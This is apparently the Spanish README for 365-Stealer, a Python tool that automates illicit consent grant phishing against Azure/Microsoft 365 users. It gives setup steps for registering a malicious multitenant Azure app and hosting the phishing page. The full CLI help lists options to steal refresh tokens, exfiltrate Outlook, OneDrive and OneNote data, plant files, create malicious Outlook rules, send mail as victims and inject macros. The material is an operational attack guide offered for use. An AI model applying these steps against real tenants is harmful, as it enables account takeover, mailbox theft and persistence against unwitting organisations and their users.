
Automatiza ataques de concesión de consentimiento ilícito contra inquilinos de Azure/O365 para robar tokens de actualización, exfiltrar correos electrónicos/datos de OneDrive y crear reglas maliciosas de Outlook mediante una CLI y un portal de administración web.
365-Stealer es una herramienta basada en Python3 diseñada para automatizar los ataques de concesión de consentimiento ilícito. Cuando un usuario objetivo concede permiso sin saberlo a la aplicación de un atacante, este obtiene acceso al token de actualización de la víctima. Este token de actualización puede luego usarse para generar otros tokens, permitiendo al atacante acceder a datos sensibles como correos electrónicos, archivos en OneDrive y notas, sin necesidad de más intervención de la víctima. Explotar esto manualmente puede llevar mucho tiempo, pero 365-Stealer simplifica y automatiza el proceso.
Un ataque de concesión de consentimiento ilícito ocurre cuando un atacante registra una aplicación maliciosa en Azure, solicitando acceso a datos sensibles como contactos, correos electrónicos o documentos. El atacante engaña a un usuario para que consienta la aplicación, generalmente presentándola como legítima. Una vez que la víctima hace clic en "Aceptar", proporciona acceso al atacante sin saberlo, permitiéndole actuar en nombre de la víctima sin necesidad de las credenciales organizativas de la víctima.
Para explicarlo más claramente, una vez que el usuario concede permiso, Entra ID envía un token al servidor del atacante. Este token le da al atacante la capacidad de leer correos electrónicos, enviar correos, acceder a archivos en OneDrive y realizar otras actividades maliciosas utilizando las credenciales de la víctima. A diferencia de los ataques de phishing que dependen de robar contraseñas, los ataques de concesión de consentimiento ilícito evitan la autenticación por completo al abusar del sistema de permisos de las aplicaciones en la nube.
--run-app en la terminal o a través del portal de administración de 365-Stealer.--no-stealing, la herramienta puede robar solo los tokens sin acciones adicionales, permitiendo a los atacantes explotarlos después.Para registrar automáticamente una aplicación en Azure usando el script de Python proporcionado, sigue estos pasos:
Asegúrate de tener Python3 instalado en tu máquina.
Clona el repositorio de 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
cd 365-Stealer
Instala los módulos de Python requeridos:
pip install -r requirements.txt
Ejecuta el script automatizado de registro de aplicaciones de Azure:
python 365-Stealer.py --app-registration
Si prefieres registrar manualmente una aplicación de Azure, sigue estos pasos:
https://portal.azure.com e inicia sesión con tu cuenta.App registrations en el menú de la izquierda.New registration para comenzar el proceso de registro de una nueva aplicación.Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant).https://<DOMINIO/IP>:<PUERTO>/login/authorized, donde tu dominio o IP corresponde al lugar donde alojarás la aplicación 365-Stealer.Register para crear la aplicación.
Certificates & secrets bajo tu aplicación registrada.New client secret, proporciona una descripción para el secreto y luego haz clic en Add.
API permissions bajo tu aplicación.Add a permission para comenzar a seleccionar los permisos necesarios.Microsoft Graph.Delegated permissions para asignar permisos que actuarán en nombre del usuario que inició sesión.
Clona el repositorio de 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
Instala las aplicaciones requeridas:
Extrae y guarda los archivos:
C:\xampp\htdocs\ para poder alojar la aplicación PHP y ejecutar Python.Instala las dependencias de Python: Ejecuta el siguiente comando para instalar las bibliotecas de Python necesarias.
cd C:\xampp\htdocs\365-Stealer
pip install -r requirements.txt
Sigue las instrucciones de configuración adicionales: Después de instalar las aplicaciones y dependencias requeridas, asegúrate de seguir las instrucciones proporcionadas en el archivo yoursVictims/Readme.md. Esto te guiará en la configuración de las bases de datos y tablas necesarias para que 365-Stealer funcione correctamente.
365-Stealer.py, la base de datos y python3 en el archivo index.php ubicado en C:/xampp/htdocs/yourvictims/.
"C:/Program Files/Python/python.exe"
Lista blanca predeterminada:
Adición de IPs remotas:
Deshabilitar la lista blanca de IP:
Restricciones de acceso: Por razones de seguridad, restringe siempre el acceso al Portal de Administración de 365-Stealer a la infraestructura que controlas.
Evita la exposición pública: Nunca expongas el Portal de Administración de 365-Stealer directamente a Internet. Asegúrate de que solo sea accesible a través de redes privadas y seguras para evitar posibles compromisos.
usage: 365-Stealer.py [-h] [--app-registration] [--set-config] [--get-config] [--code CODE] [--token TOKEN] [--client-id CLIENT_ID]
[--client-secret CLIENT_SECRET] [--refresh-token REFRESH_TOKEN] [--token-path TOKEN_PATH]
[--refresh-all] [--refresh-user REFRESH_USER] [--redirect-url REDIRECT_URL]
[--database-path DATABASE_PATH] [--no-stealing] [--upload UPLOAD] [--create-rules CREATE_RULES]
[--send-mail SEND_MAIL] [--delete-all-data] [--delete-user-data DELETE_USER_DATA] [--run-app]
[--no-ssl] [--port PORT] [--disable-logs]
[--injection]
[--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]]
[--delay DELAY]
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
--app-registration Registro de Aplicaciones en Azure
--set-config Establecer la Configuración de 365-Stealer
--get-config Obtener la Configuración de 365-Stealer
--code CODE Proporcionar el Código de Autorización
--token TOKEN Proporcionar el Token de Acceso
--client-id CLIENT_ID
Proporcionar el ID de Cliente de la Aplicación
--client-secret CLIENT_SECRET
Proporcionar el Secreto de Cliente de la Aplicación
--refresh-token REFRESH_TOKEN
Proporcionar el Token de Actualización
--token-path TOKEN_PATH
Proporcionar la ruta del archivo del Token de Acceso
--refresh-all Robar nuevamente todos los datos del usuario.
--refresh-user REFRESH_USER
Robar nuevamente los datos de un usuario en particular. (Proporcionar EmailID)
--redirect-url REDIRECT_URL
URL de Redirección
--database-path DATABASE_PATH
Proporcionar la Ruta de la Base de Datos
--no-stealing Robar solo Tokens
--upload UPLOAD Agregar archivos en el OneDrive de la víctima (Proporcionar Ruta del Archivo)
--create-rules CREATE_RULES
Proporcionar archivo json con reglas de Outlook
--send-mail SEND_MAIL
Proporcionar archivo json para enviar correo
--delete-all-data ¡Eliminar todos los datos de la base de datos!
--delete-user-data DELETE_USER_DATA
¡Eliminar datos específicos de usuario de la base de datos!
--run-app Alojar la aplicación de Phishing
--no-ssl Usar http (puerto 80)
--port PORT Proporcionar puerto personalizado para alojar la aplicación de Phishing
--disable-logs Deshabilitar todos los registros de acceso http
--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]
Robar datos específicos
--injection Habilitar Inyección de Macros
--delay DELAY Retrasar la solicitud especificando tiempo en segundos mientras se roba
Publicación sobre la nueva versión de 365-Stealer, que es una reescritura completa de la anterior. Esta publicación explora cómo funciona el ataque de Concesión de Consentimiento Ilícito (ICG) en Microsoft 365.
La publicación anterior - Introducción a 365-Stealer
Por favor, abre un issue si encuentras un error o tienes una solicitud de característica.
Si deseas contribuir a un proyecto y mejorarlo, tu ayuda es muy bienvenida.
--refresh-token, --client-id y --client-secret, los atacantes pueden obtener fácilmente nuevos tokens de acceso.--app-registration automatiza el proceso de registro de aplicaciones en Azure, facilitando la configuración de la infraestructura de ataque sin intervención manual.--custom-steal, los atacantes pueden robar datos selectivamente de fuentes específicas como OneDrive, Outlook, etc.